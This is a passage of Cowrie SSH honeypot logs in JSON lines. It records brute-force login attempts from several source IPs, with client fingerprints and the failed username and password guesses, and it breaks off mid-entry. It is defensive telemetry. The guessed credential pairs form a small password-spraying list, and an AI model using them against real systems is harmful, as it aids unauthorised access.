{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:04.858226Z","src_ip":"103.176.20.57","session":"99287599922e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15051979","message":"login attempt [root/15051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:05.633709Z","src_ip":"103.176.20.57","session":"99287599922e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:06.891369Z","src_ip":"103.176.20.57","session":"99287599922e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":45188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fceb61b4da0","protocol":"ssh","message":"New connection: 103.153.68.219:45188 (10.17.0.5:22) [session: 4fceb61b4da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:22.951253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:22.955205Z","src_ip":"103.153.68.219","session":"4fceb61b4da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:23.205999Z","src_ip":"103.153.68.219","session":"4fceb61b4da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:23.950232Z","src_ip":"103.153.68.219","session":"4fceb61b4da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:25.200207Z","src_ip":"103.153.68.219","session":"4fceb61b4da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.203","src_port":46036,"dst_ip":"10.17.0.5","dst_port":22,"session":"701654925329","protocol":"ssh","message":"New connection: 101.36.119.203:46036 (10.17.0.5:22) [session: 701654925329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:29.993036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:29.995673Z","src_ip":"101.36.119.203","session":"701654925329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:30.215536Z","src_ip":"101.36.119.203","session":"701654925329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptestftptest","message":"login attempt [ftptest/ftptestftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:31.127374Z","src_ip":"101.36.119.203","session":"701654925329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":41276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59d1c39bf54","protocol":"ssh","message":"New connection: 192.169.197.250:41276 (10.17.0.5:22) [session: f59d1c39bf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:31.512877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:31.516457Z","src_ip":"192.169.197.250","session":"f59d1c39bf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:31.581645Z","src_ip":"192.169.197.250","session":"f59d1c39bf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome$@!#%^&*(","message":"login attempt [root/welcome$@!#%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:31.781738Z","src_ip":"192.169.197.250","session":"f59d1c39bf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:32.349481Z","src_ip":"101.36.119.203","session":"701654925329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:32.848495Z","src_ip":"192.169.197.250","session":"f59d1c39bf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cce13a19b55","protocol":"ssh","message":"New connection: 193.37.70.224:58884 (10.17.0.5:22) [session: 7cce13a19b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:40.256589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:40.261962Z","src_ip":"193.37.70.224","session":"7cce13a19b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:40.347438Z","src_ip":"193.37.70.224","session":"7cce13a19b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020584","message":"login attempt [root/020584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:40.605584Z","src_ip":"193.37.70.224","session":"7cce13a19b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:41.694311Z","src_ip":"193.37.70.224","session":"7cce13a19b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":46142,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab4b8b52760","protocol":"ssh","message":"New connection: 162.240.20.137:46142 (159.203.135.109:22) [session: 0ab4b8b52760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:59.696501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:59.699642Z","src_ip":"162.240.20.137","session":"0ab4b8b52760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:07:59.782012Z","src_ip":"162.240.20.137","session":"0ab4b8b52760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vitalik","password":"Vitalik$Ethereum#1","message":"login attempt [vitalik/Vitalik$Ethereum#1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:00.031372Z","src_ip":"162.240.20.137","session":"0ab4b8b52760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:02.562774Z","src_ip":"162.240.20.137","session":"0ab4b8b52760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49686,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5549503d1e","protocol":"ssh","message":"New connection: 103.27.238.116:49686 (159.203.135.109:22) [session: eb5549503d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:21.632913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:21.636895Z","src_ip":"103.27.238.116","session":"eb5549503d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:21.917419Z","src_ip":"103.27.238.116","session":"eb5549503d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan1991","message":"login attempt [root/ruslan1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:22.760953Z","src_ip":"103.27.238.116","session":"eb5549503d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:24.044451Z","src_ip":"103.27.238.116","session":"eb5549503d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52742,"dst_ip":"10.17.0.5","dst_port":22,"session":"891eb9b425ed","protocol":"ssh","message":"New connection: 103.27.238.120:52742 (10.17.0.5:22) [session: 891eb9b425ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:32.250491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:32.253938Z","src_ip":"103.27.238.120","session":"891eb9b425ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:32.537789Z","src_ip":"103.27.238.120","session":"891eb9b425ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199810","message":"login attempt [root/199810] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:33.393808Z","src_ip":"103.27.238.120","session":"891eb9b425ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:34.679444Z","src_ip":"103.27.238.120","session":"891eb9b425ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":58064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12c9b7c9b85","protocol":"ssh","message":"New connection: 103.77.242.62:58064 (10.17.0.5:22) [session: f12c9b7c9b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:42.092363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:08:42.095616Z","src_ip":"103.77.242.62","session":"f12c9b7c9b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac